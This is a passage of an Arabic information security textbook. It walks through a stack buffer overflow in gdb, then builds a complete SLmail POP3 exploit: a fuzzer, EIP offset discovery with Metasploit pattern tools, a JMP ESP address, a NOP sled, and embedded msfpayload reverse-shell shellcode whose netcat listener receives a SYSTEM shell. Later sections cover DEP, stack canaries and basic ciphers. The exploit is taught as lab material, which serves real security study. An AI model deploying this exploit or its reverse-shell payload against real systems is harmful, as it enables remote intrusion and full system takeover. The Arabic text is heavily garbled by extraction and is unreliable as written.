(gdb) break 9
Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9.
(gdb) break 16
Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16.
(gdb)
(gdb) continue
Continuing.
Breakpoint 2, check_authentication (password=0xbffff9af 'A' <repeats
30 times>) at
auth_overflow.c:16
16 return auth_flag;
(gdb) x/s password_buffer
0xbffff7a0: 'A' <repeats 30 times>
(gdb) x/x &auth_flag
0xbffff7bc: 0x00004141
(gdb) x/16xw password_buffer
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141
0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb
0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc
(gdb) x/4cb &auth_flag
0xbffff7bc: 65 'A' 65 'A' 0 '\0' 0 '\0'
(gdb) x/dw &auth_flag
0xbffff7bc: 16705
(gdb)
(gdb) continue
Continuing.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Program exited with code 034.
(gdb)
: األوىل عند ذذا السطرbreakpoint َيظ َهر بالنتائج أننا ُقمنا بتحديد
9 strcpy(password_buffer, password);
.Memory حالة الgdb حيث يتوقف الربنامج حينها و ُيظهر َلنا ال
ُ
0xbffff7a0 :address تواجد يف ذذا ال
َ َيpassword_buffer سنُالحظ أن ال
0x00000000 :)0( وحيمل القيمة
َ 0xbffff7bc :address " َي َقع يف ذذا الAuth_flag variable" وأن ال
: كام ييل،28 byets لنَجد أهناAuth_flag التي تَسبق الbytes ُقمنا بحساب َعدد ال
(gdb) x/16xw password_buffer
0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529
0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8
(4 bytes * 7 = 28 bytes) : ق ُيمكنُنا أن نقول4 bytes منهم عبارة عنaddress بام أن كُل
0x00000000 :" وذو الLocation of auth_flag" ثم يبدأ بعدذا ال
.16 وذ َي عندَ السطر، الثانيةBreakpoint ذيا لنُكمل َسري الربنامج لنَت ََو ّقف عندَ ال
(gdb) x/x &auth_flag
0xbffff7bc: 0x00004141
(gdb) x/16xw password_buffer
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141
AA من ُه ب2 bytes ققد تَم استبدال أول، ُجزئيoverflow قد تَعر َض لauth_flag لن ُه ُيظهر َلنا أن ال
وبالتايل تغريت قيمته من صفر لىل قيمة ُأطرى ذ َي 16705كام يظهر يف الصفحة التالية:
(gdb) x/dw &auth_flag
0xbffff7bc: 16705
ونحن كُنا قد استخدمنا دالة ifلتَعتَرب أي قيمة غري الصفر قيمة مقبولة!:
ُ
)if(strcmp(password_buffer, "brillig") == 0
;auth_flag = 1
)if(strcmp(password_buffer, "outgrabe") == 0
;auth_flag = 1
;return auth_flag
وبالتايل َس َيحمل ا ُملتغري auth_flagقيمة غري الصفرُ ،ما يؤدي لنجاح عملية ال .!Authentication
نستنتج من ذذا أن ال auth_flag variableذو ال ” “execution control pointهلذا الربنامج ،الذي لو ُقمنا
بالتالعب به نُحقق اهلدف!.
ذو.password_buffer[16] :
حيث تم ختصيص 16حرف لذلك ،بينام ُقمنا نحن بإدطال احلرف ُ Aمك َّرر 30مرة! ،وبام أن ال auth_flagيقع
ُ
مكانه بعد ال password_bufferمبارش ًة يف ال memoryققد طال ُه اخلطر أيض ًا!.
سنقوم بوضعه قبل الmemory يف الbuffer بعد الauth_flag قبدالً من تواجد ال..سنقوم بتبديل األماكن
.overflow َعرضه لل
ُّ وبالتايل سنضمن عدم تbuffer
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
char password_buffer[16];
int auth_flag = 0;
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
9 strcpy(password_buffer, password);
(gdb) x/s password_buffer
0xbffff7c0:
"?o??\200????????o???G??\020\205\004\b?????\204\004\b????\020\205\004\
bH???????\002"
(gdb) x/x &auth_flag
0xbffff7bc: 0x00000000
(gdb) x/16xw &auth_flag
0xbffff7bc: 0x00000000 0xb7fd6ff4 0xbffff880 0xbffff7e8
0xbffff7cc: 0xb7fd6ff4 0xb7ff47b0 0x08048510 0xbffff7e8
0xbffff7dc: 0x080484bb 0xbffff9b7 0x08048510 0xbffff848
0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880
(gdb)
(gdb) cont
Continuing.
Breakpoint 2, check_authentication (password=0xbffff9b7 'A' <repeats
30 times>)
at auth_overflow2.c:16
16 return auth_flag;
(gdb) x/s password_buffer
0xbffff7c0: 'A' <repeats 30 times>
(gdb) x/x &auth_flag
0xbffff7bc: 0x00000000
(gdb) x/16xw &auth_flag
0xbffff7bc: 0x00000000 0x41414141 0x41414141 0x41414141
0xbffff7cc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7dc: 0x08004141 0xbffff9b7 0x08048510 0xbffff848
0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880
(gdb)
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
واآلن ما رأيك؟
..auth_flag للoverflow مل حيدُ ث
مل ينجح ذدقنا باحلصول عىل ال .. ،Accessولكن ذذا مل يمنع حدوث ال .!!Crashذذا َيقودنا لىل مالحظة الفرق
بني املفهومني التاليني! ،بني ال Exploitabilityو ال ..Crashing
Crashing on Application
”“Is the form of Denial of Service against the application
لنه ذجوم يتلخص يف حماولة حجب أو تعليق ) (Suspendللخدمة املُ َقدمة من Serverما أو أي Resourceيتعامل
معه ال Usersعن طريق لجهاده بكميات غري ُم َتوق َعة م َن ال inputsالتي ال يتمكن من ُمعاجلَتها أو التعا ُمل َم َعها!.
Exploitability
”“Injecting and executing my own code within the vulnerable process
قمث ً
ال معرقة ما لذا كان ال ُ EIPيشري لىل ال Stackأو ال Heapعند حدوث ال ُ ،crashيفيدُ نا يف حتديد املكان أو ال
Blockالذي سنقوم بعمل injectلل codeأو ال exploitبه!ُ ،ثم القيام بتوجيه ال Stack Pointerلىل ذذا املكان
داطل ال ( memoryالذي َمتَكنّا من َوضع ال Shellcodeبه).
أيض ًا خيدمنا ال ُ Debuggerذنا ألنه َيقوم ب َع َمل captureحلالة الربنامج عندما َحيدُ ث ال .Exception
اآلن وبعد أن استوعبت العديد من األمور الشيقة ،سنقوم بمامرسة عملية لتدعيم كل ما تم رشح ُه من قبل.
-2نُسخة ،Kali Linuxأيض ًا ُيمكنُك حتميلها بشكل جماين من املوقع اخلاص ِبا ،كام ُيمكنُك حتميلها كنُسخة من
قبل أن نبدأ..
سنتكلم باطتصار عن أشهر تقنيتني للحاميه تستخدمهام أنظمة التشغيل ،مها .ASLR & DEP
ألننا سنتعرض هلم أثناء لجراء اطتبار اإلطرتاق..
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A' * 2700
try:
print "\Sending evil buffer..."
s.connect(('192.168.18.131',110))
data = s.recv(1024)
s.send('USER username' + '\r\n')
data = s.recv(1024)
s.send('PASS' + buffer + '\r\n')
print "\Done!."
except:
ذذا الكود مكتوب بلغة ال ،Pythonذو باطتصار يقوم باإلتصال باملنفذ 110وذو املنفذ اخلاص بربوتوكول POP3
يف حماولة لعمل Remote Accessلىل ال ،Mail boxوذلك بعمل ذجوم BoFبإرسال حرف ال ُ Aمكرر ًا 2700
سنقوم بعمل حسبة رياضية ِسيعة يف ُحماولة لتخمني مكان ذذه ال " "4A’sداطل ال bufferا ُمل َ
رسل.
ما رأيك بدالً من لرسال ال ” “2700 A’sأن نقوم بقسمة ال 2700لىل قسمني 1350 A’s ،و .1350 B’sقإن حدث
Overwrittenلل EIPباحلرف Bقنستنتج أن ال Locationيقع يف النصف الثاين من ال ُ .bufferثم بعدذا نقوم
بقسمة ال 1350 B’sذذه لىل 1670 B’sو .1670 C’sوذكذا نستمر يف عملية القسمة وتغيري ال Characterلىل أن
ننجح يف حتديد ال locationاملرجو.
ولكن ذذه الطريقة صعبة و ُمك ّلفة لىل حد ما! ،ما رأيك بطريقة أيُس؟
سنقوم باستخدام أداتان من أدوات ال Metasploit Framework
األوىل ” “pattern_create.rbتقوم بإرسال Stringيتم تصميمها طصيص ًا ،ثم حتديد ال 4 bytesالتي قامت بعمل
overwriteلل .EIPوبعدذا نستخدم األداة الثانية ” “Pattern_offset.rbلتحديد َموضع ذذه ال 4 bytesبالضبط
داطل ذذه ال .String
اآلن سنقوم بتنفيذ الكود مر ًة أطرى بعد أن نقوم بعمل restartلل processاخلاصة بال SLmailداطل الويندوز ألنه
قد حدث هلا crashجراء اهلجوم املايض!.
واآلن داطل الويندوز ،قم بعمل attachمر ًة أطرى ُثم ُ .Run
وعد لىل ال Terminalلنقوم بتنفيذ الكود اجلديد،
سنُسميه ”“fuzznew
root@Kali:~# ./fuzznew.py
وضح استخدام األداة الثانية يف حتديد موضع ال 4 bytesاملطلوبة. التي أرسلناذا .تأ ّمل معي الشكل التايلُ ..
حيث ُي ِّ
سنقوم بإدطال مسار األداه متبوع ًا بال 4 bytesوذم 39 69 44 38
ذذا يعني أن ال EIPالبد أن حيدث هلا overwriteب ” “4 B’sأو 42 42 42 42بالنظام الثنائيُ ،ثم أكملنا بقية ال
bufferباحلرف ”.“C
ولكن ال shellcodeالذي نحن بصدد استخدامه تصل مساحته لىل ،350 bytesبالتايل نحن بحاجة لزيادة حجم ال
bufferا ُمل َخ ّصص لل .shellcode
سنقوم بإجراء تعديل عىل السطر ا ُملعتاد داطل الكود الذي كتبناه سابق ًا..
)buffer = "A" * 2606 + "B" * 4 + "C" * (3500 – 2606 - 4
واآلن ،سنقوم بتنفيذ اهلجوم مر ًة أطرى للتأكُّد من نجاح عملية ال Allocationاملبدأية لل .shellcode
لقد نجحنا!!..
كام ترى حتت طانة ال ،Addressتم تظليل ال addressاخلاص ببداية ال shellcodeوذو الذي تُشري لليه ال .ESP
ولكن الحظ أن ال addressالذي تُشري لليه ال ESPقد تغري يف املحاولة الثانية!.
وما ذو ذدقنا؟
بام أن ال ESPتُشري لىل موضع ال ،shellcodeقهذا يعني أنه سيتم تنفيذ ال shellcodeوذو عبارة عن Reverse
.shell
لذ ًا ..نحن اآلن بحاجة للبحث عن Instructionمن نوع JMP ESPكي نُجرب ال CPUبالقفز لىل ال ESPأثناء
حدوث ال .crash
وملاذا ال نُعطيه نحن ذذا ال Address of ESPلتوقري عناء البحث عن ذذه ال instructionداطل ال ..Memory؟
كام رأينا أن ذذا ال Addressيتم تغيريه يف كل مرة حيدث قيها crashهلذه ال ،processوبالتايل لن ُيمكنُنا معرقة
عنوانه! ،وعوض ًا عن ذلك ،سنبحث عن ذذه ال instructionالتي تقوم بالقفز لىل ال ESPكنوع من التحايل عىل
ذذه املشكلة.
الحظ ال DLLا ُملظلل باألبيض ..لنه أحد امللفات املوجودة يف ال system32داطل ال ،windowsيف احلقيقة أنه
ليس ملف ًا باملعنى احلريف ،بل ذو .Application Libraryذذا ال DLLال يتعرض لىل ال Rebaseيف كل عملية
،rebootأيض ًا غري حممي بتقنيات ال ،SafeSEHأو ال ،DEPأو ال .ASLR
نقوم بالبحث بكتابة األمر كام ذو موضح بالشكل التايل: ،FF E4 ا ُملقابل هلذه ال ،instructionوذو
نقوم بالنقر ا ُملزدوج عىل ذذا ال addressا ُمل َظلل باللون األبيض لتظهر لنا ال instructionبشكل واضح كامييل:
..!!ذذا ُمدذش
..ذيا بنا لننتقل لىل اخلطوة األطرية
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shellcode =
("\xbb\xdc\x0e\x23\x1c\xd9\xed\xd9\x74\x24\xf4\x5f\x33\xc9" +
"\xb1\x4f\x31\x5f\x14\x83\xef\xfc\x03\x5f\x10\x3e\xfb\xdf" +
"\xf4\x37\x04\x20\x05\x27\x8c\xc5\x34\x75\xea\x8e\x65\x49" +
"\x78\xc2\x85\x22\x2c\xf7\x1e\x46\xf9\xf8\x97\xec\xdf\x37" +
"\x27\xc1\xdf\x94\xeb\x40\x9c\xe6\x3f\xa2\x9d\x28\x32\xa3" +
"\xda\x55\xbd\xf1\xb3\x12\x6c\xe5\xb0\x67\xad\x04\x17\xec" +
"\x8d\x7e\x12\x33\x79\x34\x1d\x64\xd2\x43\x55\x9c\x58\x0b" +
"\x46\x9d\x8d\x48\xba\xd4\xba\xba\x48\xe7\x6a\xf3\xb1\xd9" +
"\x52\x5f\x8c\xd5\x5e\x9e\xc8\xd2\x80\xd5\x22\x21\x3c\xed" +
"\xf0\x5b\x9a\x78\xe5\xfc\x69\xda\xcd\xfd\xbe\xbc\x86\xf2" +
"\x0b\xcb\xc1\x16\x8d\x18\x7a\x22\x06\x9f\xad\xa2\x5c\xbb" +
"\x69\xee\x07\xa2\x28\x4a\xe9\xdb\x2b\x32\x56\x79\x27\xd1" +
"\x83\xfb\x6a\xbe\x60\x31\x95\x3e\xef\x42\xe6\x0c\xb0\xf8" +
"\x60\x3d\x39\x26\x76\x42\x10\x9e\xe8\xbd\x9b\xde\x21\x7a" +
"\xcf\x8e\x59\xab\x70\x45\x9a\x54\xa5\xc9\xca\xfa\x16\xa9" +
"\xba\xba\xc6\x41\xd1\x34\x38\x71\xda\x9e\x4f\xb6\x4d\x2b" +
"\x50\x38\x8a\x43\x52\x38\x93\x28\xdb\xde\xf9\x5e\x8a\x49" +
"\x96\xc7\x97\x01\x07\x07\x02\x81\xa4\x9a\xc9\x51\xa2\x86" +
"\x45\x06\xe3\x79\x9c\xc2\x19\x23\x36\xf0\xe3\xb5\x71\xb0" +
"\x3f\x06\x7f\x39\xcd\x32\x5b\x29\x0b\xba\xe7\x1d\xc3\xed" +
"\xb1\xcb\xa5\x47\x70\xa5\x7f\x3b\xda\x21\xf9\x77\xdd\x37" +
"\x06\x52\xab\xd7\xb7\x0b\xea\xe8\x78\xdc\xfa\x91\x64\x7c" +
"\x04\x48\x2d\x8c\x4f\xd0\x04\x05\x16\x81\x14\x48\xa9\x7c" +
"\x5a\x75\x2a\x74\x23\x82\x32\xfd\x26\xce\xf4\xee\x5a\x5f" +
"\x91\x10\xc8\x60\xb0")
try:
print "\Sending buffer..."
s.connect(('192.168.18.131',110))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS' + buffer + '\r\n')
s.close()
print "\Done."
except:
print "Could not connect to POP3!"
الذي عثرنا عليهJmp ESP اخلاص بالaddress بالEIP للoverwrite “ التي قامت بعمل4B’s” لقد استبدلنا ال
.slmfc.dll داطل ال
ُ "\x90" وذو، معني ُمكرر ثامين مراتopcode أيض ًا ُقمنا بإضاقة
“No Operation” حيث يعني
وعندما ينتقل ال EIPلىل ال instructionالتالية جيدذا مثلها ..وذكذا لىل أن يصل لىل بداية ال .shellcode
وأطري ًا ذذا ال shellcodeحصلنا عليه باستخدام أحد موديوالت ال Metasploitوذو ،msfpayloadوحيتاج منا
بعض املعلومات األساسية كال Local IPاخلاص بنا وال ،Local Port
ولغة الربجمة قيام لذا كانت Cأو .Python
root@kali:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.18.128
LPORT=443 C
.Victim لننتظر اإلتصال القادم من الNetcat اخلاص بأداةTab واآلن نعود لىل ال
root@kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.18.128] from (UNKNOWN) [192.168.18.131] 49557
Microsoft Windows XP SP3
Copyright (c) Microsoft Corporation. All rights reserved.
C:\Program Files\SLmail\System>whoami
whoami
nt authority\system
Protection Mechanisms
سنتحدث بشكل ُُمترص عن عدة تقنيات أمنية تستخدمها أنظمة التشغيل املختلفة.
ُيمكنُنا تلخيص عملية االطرتاق احلادث يف ثالثة ططوات رئيسية:
األوىل ذي حدوث طلل يف ال memoryاملخصصة هلذا الربنامج أو ال .application
وبمعرقة التهديدات التي يتعرض هلا نظام التشغيل يمكننا ختيل طرق احلامية املناسبة هلذه الثغرات.
نبدأ بأول طريقة:
Nonexecutable Stack
ذذا لجراء واضح و مبارش ملنع ثغرات ال .Buffer Overflowقإذا متكنت من وضع ال Shellcodeاخلاص بك يف
أي مكان تريده يف ال .. memoryقلن تتمكن من تنفيذه! ،وبالتايل لن يكون له أمهية.
This feature enabled by default in most Linux distributions, OpenBSD, Mac OS X, Solaris, and
Windows.
َق َظ َهر تكنيك بإسم ) ،ret2libc (returning into libcوذي libraryحتوي بعض ال functionsكال ) ( printfو ال
) (.. ،exitذذه ال functionsتعترب sharedبمعنى أن أي برنامج يستخدم ذذه ال functionسيتمكن من توجيه
مسار ال executionلىل مكان ذذه ال functionداطل ال .libc
قوجود ثغرة يف الربنامج ستُمكننا من توجيه ال executionلىل أي functionتقع يف ذذه ال .libتطور ذذا األمر
ليشمل بعض التكنيكات األطرى مثل:
ret2plt, ret2strcpy, ret2gets, ret2syscall, ret2data, ret2text,
ret2code, ret2dl-resolve, and chained ret2code.
W^X Memory
ذذه اخلاصية باطتصار تعني اآليت:
Making writable memory non-executable, and executable memory non-writable.
وبتطبيق ذذه اخلاصية سيكون من الصعب عمل injectلل shellcodeيف حالة وجود .vulnerable program
لذا تم تطبيق ذذه ال mechanismوحدذا قلن تتمكن من منع كل التكنيكات التي عرضناذا قوق ،يبدو أهنا َس ُتفلح
ققط مع ثالثة منهم .وذم .ret2strcpy, ret2gets, and ret2dataقينبغي تدعيمها بتقنيات أطرى..
لكنها قكرة ُمتازة ،استفادت منها Microsoftعندما طورت ال ) DEP (Data Execution Preventionيف لصدار
Win XP SP2حيث تعتمد قكرته عىل ذذه النظرية.
قائدة ذذا الطائر ذي أنه أكثر حساسي ًة منهم لألكسجني ..وبالتايل سيتعرض لالطتناق ُمبكر ًا ُمنذر ًا بذلك ططورة
استكامل التعمق بالداطل..
وذذا بالضبط ما نريد تطبيقه كنوع من أنواع ال protectionلل .Stack
ٍ
مكان ما بني ال buffersوالبيانات احلساسة التي نود محايتها ،ويف قهي عبارة عن 32 bits valuesيتم وضعها يف
حالة حدوث ..buffer overflowستتعرض ذذه ال Canariesهلذا ال overflowأوالًُ ..منذر ًة بذلك الربنامج
بحدوث طلل قبل وصول ال overflowهلذه البيانات.
نختم ذذا الباب بالشكل التايل ،والذي يوضح مفهوم حتقيق احلامية عىل عدة طبقات وباستخدام عدة تقنيات.
”“Using different methods in multiple layers of security
اهلجامت.
َ
أمسك به ال ”.“IPS يف الشكل الثاين استطاع الشاب جتاوز ال ،FWلكن
يف احلالة الثالثة استطاع جتاوزذم ليصل لىل اجلهاز املرجو! ،لكن تم اإلمساك به بواسطة ال ”.“Anti Virus
Cryptography
[288]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Part IV
Cryptography
Cryptography
[289]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
[290]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Introduction
أت ََذكر قصة َحدَ َثت يف َعهد َأ َحد ُحكام اخلالقة األُ َموية يف األند ُلس..
عركَة أو
طاض نحو َخسني َم َ َذذا الر ُجل اخلارق كان َمصدَ ر ًا ُّ
للرعب عندَ أعدائه يف األندلس وطارجها! ،ققد قيل أن ُه َ
غزوة ،مل ُهي َزم قيهم َقط! .واتس َعت دولة املُسلمني يف األندَ لس بشكل كبري يف َعهده لكثرة ا َملدائن وا ُ
حل ُصون التي كان
َيقوم باسرتدادذا أو َقتحها َو َوضعها َحت َت قيادته.
َباذته ،و ُط ُموحه الكبري ،ومهتَه العالية ،و َذكائه ال َف ّذ! .الت ََح َق
ف ُمن ُذ ص َغره بن َ
ُحمَمد بن أيب عامر (احلاجب املنصور)ُ ..عر َ
ليدرس علوم األدب واحلديث يف ُقر ُطبةُ ،ثم َبدأت رحلته َم َع قرص اخلالقة بتَوليه عدة َمناصب ب َشكل تدرجيي ..لىل أن
ال هلشام ..لبن اخلليفة "املستنرص باهلل". َ
وكان حينها وكي ً تَم تسليمه قيادة الرشطة،
وبعد وقاة اخلليفة كان ذشام اليزال صغري ًا! ،قت ََسلم ُحمَمد بن أيب عامر َمقاليد األمور حلني ُبلوغ اخلليفة الصغري ّ
السن
ا ُملناسب لتَويل ُ
السلطهُ .ثم َبدَ أ التاريخ ُي ِّ
سجل لنجازاته ال َعسكرية غري املسبوقة!.
يف يوم من األيام ..اس َت َقر احلاجب املَنصور يف لحدى غزواته بمدينة "سامل" ُ
وذو الثغر الذى َبنا ُه عىل ُحدود الدُ َول
وط َط َرت َل ُه طاط َرة عىل َمدى ذكائه وتوقعاته ،قاستدعى أحد قرسانه يف ليلة شديدة
النرصانية يف َشامل األندَ ُلسَ ،
الربد ،كثرية االمطار ،وكلف ُه أن خيرج اىل مكان من ا َملضيق ُقرب ذذه املدينة ،وقال له:
"من مر بك يف ذذه الليلة ..تأيت به ليل كائن ًا من كان"
Cryptography
][291
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
قاستغرب الفارس وبدأ يتسائل يف نفسه ..ومن َخي ُرج يف مثل ذذه الليلة؟ الربد القارص واملطر الغزير!.
لال أن الفارس أجربه عىل املثول بني يدي احلاجب املنصور ..قأ َم َر بتفتيشه وحتري مالبسه قام عثروا عىل يشء ُمريب!،
قأمر املنصور بتحري بردعة احلامر!،
َ
وبعد حترهيا وجدوا قيها ططابا من بعض النصارى القاطنني يف جهة من ذذه املدينة َيدلون العدو عىل ثغرة من ثغرات
املسلمني كاتبني:
"أن اذجموا عىل مدينة سامل وعىل جيش املنصور من اجلهة الفالنية ونحن نساعدكم عىل تلك املباغتة".
سيمر يف تلك الليلة ؟
متكنت الدذشة من احلارس ،واستفهم من املنصور! ،وكيف عرقت أن ذذا اجلاسوس ُ
ققال :وذل تنتهز العيون لال أمثاهلا؟
Cryptography
][292
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
قكِّر معي قليالً ..ختيل أننا نعيش يف القرون الوسطى ،ونريد أن نُحقق عملية تواصل ِسية.
ماذا أقعل يف حالة رغبتي للتواصل مع شخص يقع يف مدينة ُأطرى وبشكل ِسي وموثوق؟.
...
ذل انتهيت؟ ..
Cryptography
][293
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
واآلن سيأيت ليل الصندوق وبه قفل صديقي املفتوح! ،حينها سأضع رسالتي اخلطرية بداطل الصندوق ثم أغلقه
ُ
حيث لن يتمكن من قتحه لال صديقي ألنه بالقفل اخلاص بصديقي و ُأرسل ُه مع الرسول وأنا ُمطمئن أنه يف ِسية،
الوحيد الذي حيمل مفتاح ذذا القفل..
وباملثل سيكتب يل صديقي الرد و ُيغلق الصندوق بقفيل أنا ،ويعيد لرسال الصندوق ليل ،وبالطبع لن يتمكن أحدذم
من قتحه سواي!.. .أليس كذلك؟.
لقد قمنا بضامن الُسية لكن مل نضمن سالمة الصندوق! ،قربام يتعرض القفل للكُس أثناء الطريق! ،أو يقوم أحدذم
بتغيري القفل ولرساله لىل صديقي ،وبعد أن يضع صديقي قفله اخلاص ،سيقوم أيض ًا باستبداله بقفل آطر ُلريسل ُه يل!،
وِبذا يكون ذذا الشخص ” “Man in the middleبيننا .ولكن لن يستمر ذذا ألكثر من مرة ،حيث لن نتمكن أنا
وصديقي من قتح األقفال بعد غلقها ألن مفاتيحنا كانت ألقفال أطرى قام باستبداهلا ذذا الشخص الدطيل!.
ماذذا ال !!Challenge
يبدو أننا بحاجة لبعض اآلليات التي تضمن لنا اخلصوصية ،واملصداقية ،والسالمة ،واملوثوقية أثناء تعاملنا مع
األشخاص أو األجهزة اإللكرتونية أو ال Dataبأنواعها!.
سنتعرف مع ًا يف ذذا الباب عىل تقنيات تشفري البيانات وآليات عملها.
Cryptography
][294
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
ال Cryptographyذو عملية التواصل بني طرقني أو أكثر بشكل ِسي! ،وذلك باستخدام ال .Ciphers
ا ُملهمة كرسالة بريد للكرتوين ِبا معلومات حساسة ،أو بيانات بطاقة ،Credit Cardأو ملف ،Data Baseأو غري
ذلك من البيانات احلساسة املُراد محايتها.
Cryptography
][295
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ال Algorithmا ُملستَخدَ َمة ،قسيتمكن بكُل َبساطة من اسرتجاع ال ،!!plaintextأما وجود ال Keyيزيد األمر
صعوبة حيث لن يتمكن من ختمني اخلطوات والتغريات التي طرئت عىل ال plaintextإلنتاج ذذا ال ..Cipher
سنعود لىل ذذا ال keyمر ًة أطرى بعد قليل.
”“The algorithm will produce a different output depending on the secret key
..Key values are used by the algorithms to indicate which equations to use, in what order, and
with what values!.
ذذا جيد ..كيف تعمل ذذه ال ،Algorithmأو كيف سيعمل ال Keyداطل تلك ال Algorithm؟
لنه يقوم بإجراء جمموعة من ال Substitutionsو ال Transpositionsعىل ال plaintextلتحقيق التشفري.
Cryptography
][296
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
نُحقق ال Confusionذذا بأن تكون ال َعالقة بني ال plaintextو ال keyشديدة التعقيد! ،وذذا لنضمن أنه لو قام
أحدذم بمعرقة ال ciphertextوال plaintextمع ًا قيكون من الصعب عليه ختمني ا ُملبادالت التي متت عىل "احلرف"
تحقق بتطبيق ال
أو ال characterاملوجود يف ال plaintextلينتج ذلك "احلرف" املقابل له يف ال .ciphertextوذذا َي َ
Substitutionعىل عدة مراحل.
ذذا تعريف آطر له:
Confusion refers to methods used to hide relationships between the plaintext,
the ciphertext, and the key. This means that the output bits must involve some complex
transformation of the key and plaintext.
أما ال Diffusionيتحقق بأن تكون العالقة بني ال plaintextو ال ciphertextمعقدة بأكرب قدر مستطاع
Cryptography
][297
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
) (As complex as possibleوذذا ألجل لحباط حماوالت ختمني ال Keyا ُملستخدم يف حالة التقاط أحدذم لل
.ciphertextويتحقق ذذا بتطبيق ال Transpositionعىل عدة مراحل أيض ًا .ذذا يعني أن ال ُ Confusionيعنَى بال
،Substitutionوال ُ Diffusionيعنَى بال .Transposition
لذا مل تستوعب ال Confusionو ال Diffusionبشكل واضح قستفهمهم جيد ًا عقب ذذه األمثلة:
Substitution Example
َسنَعرض مثال من كتاب السيد "ويليام ستالينج" لل Caesar Cipherلنوضح به كيف تتم عملية ال Substitution
..كام يبدو من لسمه " "Caesar Cipherأنه كان ُيستخدم يف عهد "يوليوس قيرص"
لنفرض أننا أمسكنا بال cipherذذا أثناء رحلته السعيدة لىل الشخص اآلطر ..كيف ُيمكننا ختمني ال Keyا ُملستخدم؟
سهل علينا لجراء املقارنة وختمني ال Substitutionsاحلادثة.
سنقوم برتقيم األحرف مجيعها كام ذو موضح بالشكل ،ليَ ُ
Cryptography
][298
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
.)25 + لىل أن نَصل لىل (احلرف،)3 + أو (احلرف،)2 + أو (احلرف،)1 + لما أن يكون (احلرفKey واآلن ذذا ال
، ونُشاذد املخرجاتcipher احتامل لنُجرِبم عىل ذذا ال25 أي أننا لدينا،“25 of potentials Keys” لذ ًا قنحن أمام
. السليمKey حينها نكون قد و َقعنا عىل ال،!لىل أن نُصادف عبارة مفهومة
. وذكذا،)25 – (احلرف... ،)2 – (احلرف،)1 – (احلرف: قسنقوم ب َعكس ا ُملعادلة،cipher وبام أننا ُذنا لدينا ال
ِّ ت
:ُلخ ُصها لنا ذذه املعادلة
Plaintext = Decryption(key, Cipher) = (Cipher - key) mod 26
ذيا.Plaintext لتُنتج لنا الCipher والKey ذي الArguments تأطذfunction أشبه بAlgorithm يبدو أن ال
:لنُجرب تطبيق ذذه املعادلة ومشاذدة ا ُملخرجات
PHHW PH DIWHU WKH WRJD SDUWB
KEY………………………………………………………………………….
1 oggv og chvgt vjg vqic rctva
2 nffu nf bgufs uif uphb qbsuz
3 meet me after the toga party
4 ldds ld zesdq sgd snfz ozqsx
5 kccr kc ydrcp rfc rmey nyprw
6 jbbq jb xcqbo qeb qldx mxoqv
7 iaap ia wbpan pda pkcw lwnpu
…
Cryptography
[299]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Transposition Example
سنستخدم تكنيك بسيط ذو ال ” “rail fenceإلجراء عملية ال Transpositionعىل ال Plaintextا ُملراد لرساله.
نأطذ مثال برسالة عبارة عنTHIS IS REALY GREAT BOOK :
واآلن سنقوم باستخدام ال Keyلتكوين ال ،cipherبحيث نبدأ بال Columرقم واحد وذو الثالث يف الرتتيب ،ثم
ال Columرقم 2وذو الرابع يف الرتتيب ..وذكذا .قيكون ال Cipherيف النهاية ِبذا الشكل:
IEROSAEOTSYTHRGBILAK
Cryptography
][300
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Symmetric Cryptography
حيث َير ُمز ال Xلىل ال ،plaintextوال Kلىل ال ،Keyوال Eلىل ال ،Encryptionوال Yلىل ال ،Ciphertext
وأطري ًا ال Dلىل ال .Decryption
Cryptography
][301
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ونقوم بتعريف ال ” “Symmetric Ciphersبأهنا ال Cryptosystemsالتي تَستَخدم نَفس ال Keyيف َع َملية التشفري
موعة ت ََود لجراء اتصال آمن قيام َبينهم َق َس َيتم استخدام Keyوحيد بني كل طرقني،
وقك التشفري .قلو ا َق َرضنا أن َجم َ
